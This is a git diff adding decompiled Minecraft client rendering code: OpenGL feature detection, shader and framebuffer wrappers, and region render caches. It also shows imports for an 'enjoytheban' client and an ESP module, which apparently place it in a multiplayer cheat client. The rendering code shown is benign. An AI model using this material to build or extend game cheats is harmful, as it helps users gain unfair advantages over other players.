+        field_153201_h = 36096;
+        field_153202_i = 36053;
+        field_153203_j = 36054;
+        field_153204_k = 36055;
+        field_153205_l = 36059;
+        field_153206_m = 36060;
+      }
+      else if (GL_ARB_framebuffer_object)
+      {
+        field_153196_B += "ARB_framebuffer_object is supported and separate blending is supported.\n";
+        field_153212_w = 1;
+        field_153198_e = 36160;
+        field_153199_f = 36161;
+        field_153200_g = 36064;
+        field_153201_h = 36096;
+        field_153202_i = 36053;
+        field_153204_k = 36055;
+        field_153203_j = 36054;
+        field_153205_l = 36059;
+        field_153206_m = 36060;
+      }
+      else if (GL_EXT_framebuffer_object)
+      {
+        field_153196_B += "EXT_framebuffer_object is supported.\n";
+        field_153212_w = 2;
+        field_153198_e = 36160;
+        field_153199_f = 36161;
+        field_153200_g = 36064;
+        field_153201_h = 36096;
+        field_153202_i = 36053;
+        field_153204_k = 36055;
+        field_153203_j = 36054;
+        field_153205_l = 36059;
+        field_153206_m = 36060;
+      }
+    }
+    else
+    {
+      field_153196_B += "Not using framebuffer objects because ";
+      field_153196_B = field_153196_B + "OpenGL 1.4 is " + (OpenGL14 ? "" : "not ") + "supported, ";
+      field_153196_B = field_153196_B + "EXT_blend_func_separate is " + (GL_EXT_blend_func_separate ? "" : "not ") + "supported, ";
+      field_153196_B = field_153196_B + "OpenGL 3.0 is " + (OpenGL30 ? "" : "not ") + "supported, ";
+      field_153196_B = field_153196_B + "ARB_framebuffer_object is " + (GL_ARB_framebuffer_object ? "" : "not ") + "supported, and ";
+      field_153196_B = field_153196_B + "EXT_framebuffer_object is " + (GL_EXT_framebuffer_object ? "" : "not ") + "supported.\n";
+    }
+    
+    openGL21 = OpenGL21;
+    field_153213_x = (openGL21) || ((GL_ARB_vertex_shader) && (GL_ARB_fragment_shader) && (GL_ARB_shader_objects));
+    field_153196_B = field_153196_B + "Shaders are " + (field_153213_x ? "" : "not ") + "available because ";
+    
+    if (field_153213_x)
+    {
+      if (OpenGL21)
+      {
+        field_153196_B += "OpenGL 2.1 is supported.\n";
+        field_153214_y = false;
+        GL_LINK_STATUS = 35714;
+        GL_COMPILE_STATUS = 35713;
+        GL_VERTEX_SHADER = 35633;
+        GL_FRAGMENT_SHADER = 35632;
+      }
+      else
+      {
+        field_153196_B += "ARB_shader_objects, ARB_vertex_shader, and ARB_fragment_shader are supported.\n";
+        field_153214_y = true;
+        GL_LINK_STATUS = 35714;
+        GL_COMPILE_STATUS = 35713;
+        GL_VERTEX_SHADER = 35633;
+        GL_FRAGMENT_SHADER = 35632;
+      }
+    }
+    else
+    {
+      field_153196_B = field_153196_B + "OpenGL 2.1 is " + (OpenGL21 ? "" : "not ") + "supported, ";
+      field_153196_B = field_153196_B + "ARB_shader_objects is " + (GL_ARB_shader_objects ? "" : "not ") + "supported, ";
+      field_153196_B = field_153196_B + "ARB_vertex_shader is " + (GL_ARB_vertex_shader ? "" : "not ") + "supported, and ";
+      field_153196_B = field_153196_B + "ARB_fragment_shader is " + (GL_ARB_fragment_shader ? "" : "not ") + "supported.\n";
+    }
+    
+    shadersSupported = (framebufferSupported) && (field_153213_x);
+    field_153197_d = GL11.glGetString(7936).toLowerCase().contains("nvidia");
+    field_176090_Y = (!OpenGL15) && (GL_ARB_vertex_buffer_object);
+    field_176083_O = (OpenGL15) || (field_176090_Y);
+    field_153196_B = field_153196_B + "VBOs are " + (field_176083_O ? "" : "not ") + "available because ";
+    
+    if (field_176083_O)
+    {
+      if (field_176090_Y)
+      {
+        field_153196_B += "ARB_vertex_buffer_object is supported.\n";
+        anisotropicFilteringMax = 35044;
+        field_176089_P = 34962;
+      }
+      else
+      {
+        field_153196_B += "OpenGL 1.5 is supported.\n";
+        anisotropicFilteringMax = 35044;
+        field_176089_P = 34962;
+      }
+    }
+  }
+  
+  public static boolean areShadersSupported()
+  {
+    return shadersSupported;
+  }
+  
+  public static String func_153172_c()
+  {
+    return field_153196_B;
+  }
+  
+  public static int glGetProgrami(int p_153175_0_, int p_153175_1_)
+  {
+    return field_153214_y ? ARBShaderObjects.glGetObjectParameteriARB(p_153175_0_, p_153175_1_) : GL20.glGetProgrami(p_153175_0_, p_153175_1_);
+  }
+  
+  public static void glAttachShader(int p_153178_0_, int p_153178_1_)
+  {
+    if (field_153214_y)
+    {
+      ARBShaderObjects.glAttachObjectARB(p_153178_0_, p_153178_1_);
+    }
+    else
+    {
+      GL20.glAttachShader(p_153178_0_, p_153178_1_);
+    }
+  }
+  
+  public static void glDeleteShader(int p_153180_0_)
+  {
+    if (field_153214_y)
+    {
+      ARBShaderObjects.glDeleteObjectARB(p_153180_0_);
+    }
+    else
+    {
+      GL20.glDeleteShader(p_153180_0_);
+    }
+  }
+  
+
+
+
+  public static int glCreateShader(int p_153195_0_)
+  {
+    return field_153214_y ? ARBShaderObjects.glCreateShaderObjectARB(p_153195_0_) : GL20.glCreateShader(p_153195_0_);
+  }
+  
+  public static void glShaderSource(int p_153169_0_, ByteBuffer p_153169_1_)
+  {
+    if (field_153214_y)
+    {
+      ARBShaderObjects.glShaderSourceARB(p_153169_0_, p_153169_1_);
+    }
+    else
+    {
+      GL20.glShaderSource(p_153169_0_, p_153169_1_);
+    }
+  }
+  
+  public static void glCompileShader(int p_153170_0_)
+  {
+    if (field_153214_y)
+    {
+      ARBShaderObjects.glCompileShaderARB(p_153170_0_);
+    }
+    else
+    {
+      GL20.glCompileShader(p_153170_0_);
+    }
+  }
+  
+  public static int glGetShaderi(int p_153157_0_, int p_153157_1_)
+  {
+    return field_153214_y ? ARBShaderObjects.glGetObjectParameteriARB(p_153157_0_, p_153157_1_) : GL20.glGetShaderi(p_153157_0_, p_153157_1_);
+  }
+  
+  public static String glGetShaderInfoLog(int p_153158_0_, int p_153158_1_)
+  {
+    return field_153214_y ? ARBShaderObjects.glGetInfoLogARB(p_153158_0_, p_153158_1_) : GL20.glGetShaderInfoLog(p_153158_0_, p_153158_1_);
+  }
+  
+  public static String glGetProgramInfoLog(int p_153166_0_, int p_153166_1_)
+  {
+    return field_153214_y ? ARBShaderObjects.glGetInfoLogARB(p_153166_0_, p_153166_1_) : GL20.glGetProgramInfoLog(p_153166_0_, p_153166_1_);
+  }
+  
+  public static void glUseProgram(int p_153161_0_)
+  {
+    if (field_153214_y)
+    {
+      ARBShaderObjects.glUseProgramObjectARB(p_153161_0_);
+    }
+    else
+    {
+      GL20.glUseProgram(p_153161_0_);
+    }
+  }
+  
+  public static int glCreateProgram()
+  {
+    return field_153214_y ? ARBShaderObjects.glCreateProgramObjectARB() : GL20.glCreateProgram();
+  }
+  
+  public static void glDeleteProgram(int p_153187_0_)
+  {
+    if (field_153214_y)
+    {
+      ARBShaderObjects.glDeleteObjectARB(p_153187_0_);
+    }
+    else
+    {
+      GL20.glDeleteProgram(p_153187_0_);
+    }
+  }
+  
+  public static void glLinkProgram(int p_153179_0_)
+  {
+    if (field_153214_y)
+    {
+      ARBShaderObjects.glLinkProgramARB(p_153179_0_);
+    }
+    else
+    {
+      GL20.glLinkProgram(p_153179_0_);
+    }
+  }
+  
+  public static int glGetUniformLocation(int p_153194_0_, CharSequence p_153194_1_)
+  {
+    return field_153214_y ? ARBShaderObjects.glGetUniformLocationARB(p_153194_0_, p_153194_1_) : GL20.glGetUniformLocation(p_153194_0_, p_153194_1_);
+  }
+  
+  public static void glUniform1(int p_153181_0_, IntBuffer p_153181_1_)
+  {
+    if (field_153214_y)
+    {
+      ARBShaderObjects.glUniform1ARB(p_153181_0_, p_153181_1_);
+    }
+    else
+    {
+      GL20.glUniform1(p_153181_0_, p_153181_1_);
+    }
+  }
+  
+  public static void glUniform1i(int p_153163_0_, int p_153163_1_)
+  {
+    if (field_153214_y)
+    {
+      ARBShaderObjects.glUniform1iARB(p_153163_0_, p_153163_1_);
+    }
+    else
+    {
+      GL20.glUniform1i(p_153163_0_, p_153163_1_);
+    }
+  }
+  
+  public static void glUniform1(int p_153168_0_, FloatBuffer p_153168_1_)
+  {
+    if (field_153214_y)
+    {
+      ARBShaderObjects.glUniform1ARB(p_153168_0_, p_153168_1_);
+    }
+    else
+    {
+      GL20.glUniform1(p_153168_0_, p_153168_1_);
+    }
+  }
+  
+  public static void glUniform2(int p_153182_0_, IntBuffer p_153182_1_)
+  {
+    if (field_153214_y)
+    {
+      ARBShaderObjects.glUniform2ARB(p_153182_0_, p_153182_1_);
+    }
+    else
+    {
+      GL20.glUniform2(p_153182_0_, p_153182_1_);
+    }
+  }
+  
+  public static void glUniform2(int p_153177_0_, FloatBuffer p_153177_1_)
+  {
+    if (field_153214_y)
+    {
+      ARBShaderObjects.glUniform2ARB(p_153177_0_, p_153177_1_);
+    }
+    else
+    {
+      GL20.glUniform2(p_153177_0_, p_153177_1_);
+    }
+  }
+  
+  public static void glUniform3(int p_153192_0_, IntBuffer p_153192_1_)
+  {
+    if (field_153214_y)
+    {
+      ARBShaderObjects.glUniform3ARB(p_153192_0_, p_153192_1_);
+    }
+    else
+    {
+      GL20.glUniform3(p_153192_0_, p_153192_1_);
+    }
+  }
+  
+  public static void glUniform3(int p_153191_0_, FloatBuffer p_153191_1_)
+  {
+    if (field_153214_y)
+    {
+      ARBShaderObjects.glUniform3ARB(p_153191_0_, p_153191_1_);
+    }
+    else
+    {
+      GL20.glUniform3(p_153191_0_, p_153191_1_);
+    }
+  }
+  
+  public static void glUniform4(int p_153162_0_, IntBuffer p_153162_1_)
+  {
+    if (field_153214_y)
+    {
+      ARBShaderObjects.glUniform4ARB(p_153162_0_, p_153162_1_);
+    }
+    else
+    {
+      GL20.glUniform4(p_153162_0_, p_153162_1_);
+    }
+  }
+  
+  public static void glUniform4(int p_153159_0_, FloatBuffer p_153159_1_)
+  {
+    if (field_153214_y)
+    {
+      ARBShaderObjects.glUniform4ARB(p_153159_0_, p_153159_1_);
+    }
+    else
+    {
+      GL20.glUniform4(p_153159_0_, p_153159_1_);
+    }
+  }
+  
+  public static void glUniformMatrix2(int p_153173_0_, boolean p_153173_1_, FloatBuffer p_153173_2_)
+  {
+    if (field_153214_y)
+    {
+      ARBShaderObjects.glUniformMatrix2ARB(p_153173_0_, p_153173_1_, p_153173_2_);
+    }
+    else
+    {
+      GL20.glUniformMatrix2(p_153173_0_, p_153173_1_, p_153173_2_);
+    }
+  }
+  
+  public static void glUniformMatrix3(int p_153189_0_, boolean p_153189_1_, FloatBuffer p_153189_2_)
+  {
+    if (field_153214_y)
+    {
+      ARBShaderObjects.glUniformMatrix3ARB(p_153189_0_, p_153189_1_, p_153189_2_);
+    }
+    else
+    {
+      GL20.glUniformMatrix3(p_153189_0_, p_153189_1_, p_153189_2_);
+    }
+  }
+  
+  public static void glUniformMatrix4(int p_153160_0_, boolean p_153160_1_, FloatBuffer p_153160_2_)
+  {
+    if (field_153214_y)
+    {
+      ARBShaderObjects.glUniformMatrix4ARB(p_153160_0_, p_153160_1_, p_153160_2_);
+    }
+    else
+    {
+      GL20.glUniformMatrix4(p_153160_0_, p_153160_1_, p_153160_2_);
+    }
+  }
+  
+  public static int glGetAttribLocation(int p_153164_0_, CharSequence p_153164_1_)
+  {
+    return field_153214_y ? ARBVertexShader.glGetAttribLocationARB(p_153164_0_, p_153164_1_) : GL20.glGetAttribLocation(p_153164_0_, p_153164_1_);
+  }
+  
+  public static int func_176073_e()
+  {
+    return field_176090_Y ? ARBVertexBufferObject.glGenBuffersARB() : GL15.glGenBuffers();
+  }
+  
+  public static void func_176072_g(int p_176072_0_, int p_176072_1_)
+  {
+    if (field_176090_Y)
+    {
+      ARBVertexBufferObject.glBindBufferARB(p_176072_0_, p_176072_1_);
+    }
+    else
+    {
+      GL15.glBindBuffer(p_176072_0_, p_176072_1_);
+    }
+  }
+  
+  public static void func_176071_a(int p_176071_0_, ByteBuffer p_176071_1_, int p_176071_2_)
+  {
+    if (field_176090_Y)
+    {
+      ARBVertexBufferObject.glBufferDataARB(p_176071_0_, p_176071_1_, p_176071_2_);
+    }
+    else
+    {
+      GL15.glBufferData(p_176071_0_, p_176071_1_, p_176071_2_);
+    }
+  }
+  
+  public static void func_176074_g(int p_176074_0_)
+  {
+    if (field_176090_Y)
+    {
+      ARBVertexBufferObject.glDeleteBuffersARB(p_176074_0_);
+    }
+    else
+    {
+      GL15.glDeleteBuffers(p_176074_0_);
+    }
+  }
+  
+  public static boolean func_176075_f()
+  {
+    return !Config.isMultiTexture();
+  }
+  
+  public static void func_153171_g(int p_153171_0_, int p_153171_1_)
+  {
+    if (framebufferSupported)
+    {
+      switch (field_153212_w)
+      {
+      case 0: 
+        GL30.glBindFramebuffer(p_153171_0_, p_153171_1_);
+        break;
+      
+      case 1: 
+        ARBFramebufferObject.glBindFramebuffer(p_153171_0_, p_153171_1_);
+        break;
+      
+      case 2: 
+        EXTFramebufferObject.glBindFramebufferEXT(p_153171_0_, p_153171_1_);
+      }
+    }
+  }
+  
+  public static void func_153176_h(int p_153176_0_, int p_153176_1_)
+  {
+    if (framebufferSupported)
+    {
+      switch (field_153212_w)
+      {
+      case 0: 
+        GL30.glBindRenderbuffer(p_153176_0_, p_153176_1_);
+        break;
+      
+      case 1: 
+        ARBFramebufferObject.glBindRenderbuffer(p_153176_0_, p_153176_1_);
+        break;
+      
+      case 2: 
+        EXTFramebufferObject.glBindRenderbufferEXT(p_153176_0_, p_153176_1_);
+      }
+    }
+  }
+  
+  public static void func_153184_g(int p_153184_0_)
+  {
+    if (framebufferSupported)
+    {
+      switch (field_153212_w)
+      {
+      case 0: 
+        GL30.glDeleteRenderbuffers(p_153184_0_);
+        break;
+      
+      case 1: 
+        ARBFramebufferObject.glDeleteRenderbuffers(p_153184_0_);
+        break;
+      
+      case 2: 
+        EXTFramebufferObject.glDeleteRenderbuffersEXT(p_153184_0_);
+      }
+    }
+  }
+  
+  public static void func_153174_h(int p_153174_0_)
+  {
+    if (framebufferSupported)
+    {
+      switch (field_153212_w)
+      {
+      case 0: 
+        GL30.glDeleteFramebuffers(p_153174_0_);
+        break;
+      
+      case 1: 
+        ARBFramebufferObject.glDeleteFramebuffers(p_153174_0_);
+        break;
+      
+      case 2: 
+        EXTFramebufferObject.glDeleteFramebuffersEXT(p_153174_0_);
+      }
+    }
+  }
+  
+  public static int func_153165_e()
+  {
+    if (!framebufferSupported)
+    {
+      return -1;
+    }
+    
+
+    switch (field_153212_w)
+    {
+    case 0: 
+      return GL30.glGenFramebuffers();
+    
+    case 1: 
+      return ARBFramebufferObject.glGenFramebuffers();
+    
+    case 2: 
+      return EXTFramebufferObject.glGenFramebuffersEXT();
+    }
+    
+    return -1;
+  }
+  
+
+
+  public static int func_153185_f()
+  {
+    if (!framebufferSupported)
+    {
+      return -1;
+    }
+    
+
+    switch (field_153212_w)
+    {
+    case 0: 
+      return GL30.glGenRenderbuffers();
+    
+    case 1: 
+      return ARBFramebufferObject.glGenRenderbuffers();
+    
+    case 2: 
+      return EXTFramebufferObject.glGenRenderbuffersEXT();
+    }
+    
+    return -1;
+  }
+  
+
+
+  public static void func_153186_a(int p_153186_0_, int p_153186_1_, int p_153186_2_, int p_153186_3_)
+  {
+    if (framebufferSupported)
+    {
+      switch (field_153212_w)
+      {
+      case 0: 
+        GL30.glRenderbufferStorage(p_153186_0_, p_153186_1_, p_153186_2_, p_153186_3_);
+        break;
+      
+      case 1: 
+        ARBFramebufferObject.glRenderbufferStorage(p_153186_0_, p_153186_1_, p_153186_2_, p_153186_3_);
+        break;
+      
+      case 2: 
+        EXTFramebufferObject.glRenderbufferStorageEXT(p_153186_0_, p_153186_1_, p_153186_2_, p_153186_3_);
+      }
+    }
+  }
+  
+  public static void func_153190_b(int p_153190_0_, int p_153190_1_, int p_153190_2_, int p_153190_3_)
+  {
+    if (framebufferSupported)
+    {
+      switch (field_153212_w)
+      {
+      case 0: 
+        GL30.glFramebufferRenderbuffer(p_153190_0_, p_153190_1_, p_153190_2_, p_153190_3_);
+        break;
+      
+      case 1: 
+        ARBFramebufferObject.glFramebufferRenderbuffer(p_153190_0_, p_153190_1_, p_153190_2_, p_153190_3_);
+        break;
+      
+      case 2: 
+        EXTFramebufferObject.glFramebufferRenderbufferEXT(p_153190_0_, p_153190_1_, p_153190_2_, p_153190_3_);
+      }
+    }
+  }
+  
+  public static int func_153167_i(int p_153167_0_)
+  {
+    if (!framebufferSupported)
+    {
+      return -1;
+    }
+    
+
+    switch (field_153212_w)
+    {
+    case 0: 
+      return GL30.glCheckFramebufferStatus(p_153167_0_);
+    
+    case 1: 
+      return ARBFramebufferObject.glCheckFramebufferStatus(p_153167_0_);
+    
+    case 2: 
+      return EXTFramebufferObject.glCheckFramebufferStatusEXT(p_153167_0_);
+    }
+    
+    return -1;
+  }
+  
+
+
+  public static void func_153188_a(int p_153188_0_, int p_153188_1_, int p_153188_2_, int p_153188_3_, int p_153188_4_)
+  {
+    if (framebufferSupported)
+    {
+      switch (field_153212_w)
+      {
+      case 0: 
+        GL30.glFramebufferTexture2D(p_153188_0_, p_153188_1_, p_153188_2_, p_153188_3_, p_153188_4_);
+        break;
+      
+      case 1: 
+        ARBFramebufferObject.glFramebufferTexture2D(p_153188_0_, p_153188_1_, p_153188_2_, p_153188_3_, p_153188_4_);
+        break;
+      
+      case 2: 
+        EXTFramebufferObject.glFramebufferTexture2DEXT(p_153188_0_, p_153188_1_, p_153188_2_, p_153188_3_, p_153188_4_);
+      }
+      
+    }
+  }
+  
+
+
+  public static void setActiveTexture(int p_77473_0_)
+  {
+    if (field_153215_z)
+    {
+      ARBMultitexture.glActiveTextureARB(p_77473_0_);
+    }
+    else
+    {
+      GL13.glActiveTexture(p_77473_0_);
+    }
+  }
+  
+
+
+
+  public static void setClientActiveTexture(int p_77472_0_)
+  {
+    if (field_153215_z)
+    {
+      ARBMultitexture.glClientActiveTextureARB(p_77472_0_);
+    }
+    else
+    {
+      GL13.glClientActiveTexture(p_77472_0_);
+    }
+  }
+  
+
+
+
+  public static void setLightmapTextureCoords(int p_77475_0_, float p_77475_1_, float p_77475_2_)
+  {
+    if (field_153215_z)
+    {
+      ARBMultitexture.glMultiTexCoord2fARB(p_77475_0_, p_77475_1_, p_77475_2_);
+    }
+    else
+    {
+      GL13.glMultiTexCoord2f(p_77475_0_, p_77475_1_, p_77475_2_);
+    }
+    
+    if (p_77475_0_ == lightmapTexUnit)
+    {
+      lastBrightnessX = p_77475_1_;
+      lastBrightnessY = p_77475_2_;
+    }
+  }
+  
+  public static void glBlendFunc(int p_148821_0_, int p_148821_1_, int p_148821_2_, int p_148821_3_)
+  {
+    if (openGL14)
+    {
+      if (field_153211_u)
+      {
+        EXTBlendFuncSeparate.glBlendFuncSeparateEXT(p_148821_0_, p_148821_1_, p_148821_2_, p_148821_3_);
+      }
+      else
+      {
+        GL14.glBlendFuncSeparate(p_148821_0_, p_148821_1_, p_148821_2_, p_148821_3_);
+      }
+      
+    }
+    else {
+      GL11.glBlendFunc(p_148821_0_, p_148821_1_);
+    }
+  }
+  
+  public static boolean isFramebufferEnabled()
+  {
+    return !Config.isFastRender();
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/RegionRenderCache.java b/src/minecraft/net/minecraft/client/renderer/RegionRenderCache.java
new file mode 100644
index 0000000..8acadb3
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/RegionRenderCache.java
@@ -0,0 +1,169 @@
+package net.minecraft.client.renderer;
+
+import java.util.ArrayDeque;
+import java.util.Arrays;
+import net.minecraft.block.Block;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.tileentity.TileEntity;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.ChunkCache;
+import net.minecraft.world.World;
+import net.minecraft.world.chunk.Chunk;
+import net.minecraft.world.chunk.Chunk.EnumCreateEntityType;
+import optifine.Config;
+import optifine.DynamicLights;
+
+public class RegionRenderCache extends ChunkCache
+{
+  private static final IBlockState field_175632_f = net.minecraft.init.Blocks.air.getDefaultState();
+  private final BlockPos field_175633_g;
+  private int[] field_175634_h;
+  private IBlockState[] field_175635_i;
+  private static final String __OBFID = "CL_00002565";
+  private static ArrayDeque<int[]> cacheLights = new ArrayDeque();
+  private static ArrayDeque<IBlockState[]> cacheStates = new ArrayDeque();
+  private static int maxCacheSize = Config.limit(Runtime.getRuntime().availableProcessors(), 1, 32);
+  
+  public RegionRenderCache(World worldIn, BlockPos posFromIn, BlockPos posToIn, int subIn)
+  {
+    super(worldIn, posFromIn, posToIn, subIn);
+    field_175633_g = posFromIn.subtract(new net.minecraft.util.Vec3i(subIn, subIn, subIn));
+    boolean var5 = true;
+    field_175634_h = allocateLights(8000);
+    Arrays.fill(field_175634_h, -1);
+    field_175635_i = allocateStates(8000);
+  }
+  
+  public TileEntity getTileEntity(BlockPos pos)
+  {
+    int var2 = (pos.getX() >> 4) - chunkX;
+    int var3 = (pos.getZ() >> 4) - chunkZ;
+    return chunkArray[var2][var3].func_177424_a(pos, Chunk.EnumCreateEntityType.QUEUED);
+  }
+  
+  public int getCombinedLight(BlockPos p_175626_1_, int p_175626_2_)
+  {
+    int var3 = func_175630_e(p_175626_1_);
+    int var4 = field_175634_h[var3];
+    
+    if (var4 == -1)
+    {
+      var4 = super.getCombinedLight(p_175626_1_, p_175626_2_);
+      
+      if ((Config.isDynamicLights()) && (!getBlockState(p_175626_1_).getBlock().isOpaqueCube()))
+      {
+        var4 = DynamicLights.getCombinedLight(p_175626_1_, var4);
+      }
+      
+      field_175634_h[var3] = var4;
+    }
+    
+    return var4;
+  }
+  
+  public IBlockState getBlockState(BlockPos pos)
+  {
+    int var2 = func_175630_e(pos);
+    IBlockState var3 = field_175635_i[var2];
+    
+    if (var3 == null)
+    {
+      var3 = func_175631_c(pos);
+      field_175635_i[var2] = var3;
+    }
+    
+    return var3;
+  }
+  
+  private IBlockState func_175631_c(BlockPos pos)
+  {
+    if ((pos.getY() >= 0) && (pos.getY() < 256))
+    {
+      int var2 = (pos.getX() >> 4) - chunkX;
+      int var3 = (pos.getZ() >> 4) - chunkZ;
+      return chunkArray[var2][var3].getBlockState(pos);
+    }
+    
+
+    return field_175632_f;
+  }
+  
+
+  private int func_175630_e(BlockPos p_175630_1_)
+  {
+    int var2 = p_175630_1_.getX() - field_175633_g.getX();
+    int var3 = p_175630_1_.getY() - field_175633_g.getY();
+    int var4 = p_175630_1_.getZ() - field_175633_g.getZ();
+    return var2 * 400 + var4 * 20 + var3;
+  }
+  
+  public void freeBuffers()
+  {
+    freeLights(field_175634_h);
+    freeStates(field_175635_i);
+  }
+  
+  private static int[] allocateLights(int size)
+  {
+    ArrayDeque var1 = cacheLights;
+    
+    synchronized (cacheLights)
+    {
+      int[] ints = (int[])cacheLights.pollLast();
+      
+      if ((ints == null) || (ints.length < size))
+      {
+        ints = new int[size];
+      }
+      
+      return ints;
+    }
+  }
+  
+  public static void freeLights(int[] ints)
+  {
+    ArrayDeque var1 = cacheLights;
+    
+    synchronized (cacheLights)
+    {
+      if (cacheLights.size() < maxCacheSize)
+      {
+        cacheLights.add(ints);
+      }
+    }
+  }
+  
+  private static IBlockState[] allocateStates(int size)
+  {
+    ArrayDeque var1 = cacheStates;
+    
+    synchronized (cacheStates)
+    {
+      IBlockState[] states = (IBlockState[])cacheStates.pollLast();
+      
+      if ((states != null) && (states.length >= size))
+      {
+        Arrays.fill(states, null);
+      }
+      else
+      {
+        states = new IBlockState[size];
+      }
+      
+      return states;
+    }
+  }
+  
+  public static void freeStates(IBlockState[] states)
+  {
+    ArrayDeque var1 = cacheStates;
+    
+    synchronized (cacheStates)
+    {
+      if (cacheStates.size() < maxCacheSize)
+      {
+        cacheStates.add(states);
+      }
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/RegionRenderCacheBuilder.java b/src/minecraft/net/minecraft/client/renderer/RegionRenderCacheBuilder.java
new file mode 100644
index 0000000..646e427
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/RegionRenderCacheBuilder.java
@@ -0,0 +1,27 @@
+package net.minecraft.client.renderer;
+
+import net.minecraft.util.EnumWorldBlockLayer;
+
+public class RegionRenderCacheBuilder
+{
+  private final WorldRenderer[] field_179040_a = new WorldRenderer[EnumWorldBlockLayer.values().length];
+  private static final String __OBFID = "CL_00002564";
+  
+  public RegionRenderCacheBuilder()
+  {
+    field_179040_a[EnumWorldBlockLayer.SOLID.ordinal()] = new WorldRenderer(2097152);
+    field_179040_a[EnumWorldBlockLayer.CUTOUT.ordinal()] = new WorldRenderer(131072);
+    field_179040_a[EnumWorldBlockLayer.CUTOUT_MIPPED.ordinal()] = new WorldRenderer(131072);
+    field_179040_a[EnumWorldBlockLayer.TRANSLUCENT.ordinal()] = new WorldRenderer(262144);
+  }
+  
+  public WorldRenderer func_179038_a(EnumWorldBlockLayer p_179038_1_)
+  {
+    return field_179040_a[p_179038_1_.ordinal()];
+  }
+  
+  public WorldRenderer func_179039_a(int p_179039_1_)
+  {
+    return field_179040_a[p_179039_1_];
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/RenderGlobal.java b/src/minecraft/net/minecraft/client/renderer/RenderGlobal.java
new file mode 100644
index 0000000..25b4dd6
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/RenderGlobal.java
@@ -0,0 +1,3316 @@
+package net.minecraft.client.renderer;
+
+import com.enjoytheban.Client;
+import com.enjoytheban.module.modules.render.ESP;
+import com.google.common.collect.Maps;
+import com.google.common.collect.Sets;
+import com.google.gson.JsonSyntaxException;
+import java.io.IOException;
+import java.util.ArrayDeque;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.Deque;
+import java.util.EnumSet;
+import java.util.Iterator;
+import java.util.LinkedHashSet;
+import java.util.List;
+import java.util.Map;
+import java.util.Random;
+import java.util.Set;
+import java.util.concurrent.Callable;
+import javax.vecmath.Matrix4f;
+import javax.vecmath.Vector3d;
+import javax.vecmath.Vector3f;
+import javax.vecmath.Vector4f;
+import net.minecraft.block.Block;
+import net.minecraft.block.Block.SoundType;
+import net.minecraft.block.BlockChest;
+import net.minecraft.block.BlockEnderChest;
+import net.minecraft.block.BlockLeaves;
+import net.minecraft.block.BlockSign;
+import net.minecraft.block.BlockSkull;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.audio.ISound;
+import net.minecraft.client.audio.PositionedSoundRecord;
+import net.minecraft.client.audio.SoundHandler;
+import net.minecraft.client.entity.EntityPlayerSP;
+import net.minecraft.client.multiplayer.WorldClient;
+import net.minecraft.client.particle.EffectRenderer;
+import net.minecraft.client.particle.EntityFX;
+import net.minecraft.client.renderer.chunk.ChunkRenderDispatcher;
+import net.minecraft.client.renderer.chunk.CompiledChunk;
+import net.minecraft.client.renderer.chunk.ListChunkFactory;
+import net.minecraft.client.renderer.chunk.RenderChunk;
+import net.minecraft.client.renderer.chunk.VboChunkFactory;
+import net.minecraft.client.renderer.chunk.VisGraph;
+import net.minecraft.client.renderer.culling.ClippingHelper;
+import net.minecraft.client.renderer.culling.ClippingHelperImpl;
+import net.minecraft.client.renderer.culling.Frustrum;
+import net.minecraft.client.renderer.culling.ICamera;
+import net.minecraft.client.renderer.entity.RenderManager;
+import net.minecraft.client.renderer.texture.TextureAtlasSprite;
+import net.minecraft.client.renderer.texture.TextureManager;
+import net.minecraft.client.renderer.texture.TextureMap;
+import net.minecraft.client.renderer.tileentity.TileEntityRendererDispatcher;
+import net.minecraft.client.renderer.vertex.DefaultVertexFormats;
+import net.minecraft.client.renderer.vertex.VertexBuffer;
+import net.minecraft.client.renderer.vertex.VertexFormat;
+import net.minecraft.client.renderer.vertex.VertexFormatElement;
+import net.minecraft.client.renderer.vertex.VertexFormatElement.EnumType;
+import net.minecraft.client.renderer.vertex.VertexFormatElement.EnumUseage;
+import net.minecraft.client.resources.IResourceManager;
+import net.minecraft.client.resources.IResourceManagerReloadListener;
+import net.minecraft.client.settings.GameSettings;
+import net.minecraft.client.shader.Framebuffer;
+import net.minecraft.client.shader.ShaderGroup;
+import net.minecraft.client.shader.ShaderLinkHelper;
+import net.minecraft.crash.CrashReport;
+import net.minecraft.crash.CrashReportCategory;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.init.Blocks;
+import net.minecraft.init.Items;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemDye;
+import net.minecraft.item.ItemPotion;
+import net.minecraft.item.ItemRecord;
+import net.minecraft.profiler.Profiler;
+import net.minecraft.tileentity.TileEntity;
+import net.minecraft.tileentity.TileEntityChest;
+import net.minecraft.tileentity.TileEntitySign;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.BlockPos.MutableBlockPos;
+import net.minecraft.util.ClassInheratanceMultiMap;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.EnumParticleTypes;
+import net.minecraft.util.EnumWorldBlockLayer;
+import net.minecraft.util.MathHelper;
+import net.minecraft.util.MovingObjectPosition;
+import net.minecraft.util.ResourceLocation;
+import net.minecraft.util.Vec3;
+import net.minecraft.world.IWorldAccess;
+import net.minecraft.world.WorldProvider;
+import net.minecraft.world.border.EnumBorderStatus;
+import net.minecraft.world.border.WorldBorder;
+import net.minecraft.world.chunk.Chunk;
+import optifine.ChunkUtils;
+import optifine.CloudRenderer;
+import optifine.Config;
+import optifine.CustomColors;
+import optifine.CustomSky;
+import optifine.DynamicLights;
+import optifine.Lagometer;
+import optifine.Lagometer.TimerNano;
+import optifine.RandomMobs;
+import optifine.Reflector;
+import optifine.ReflectorMethod;
+import optifine.RenderInfoLazy;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
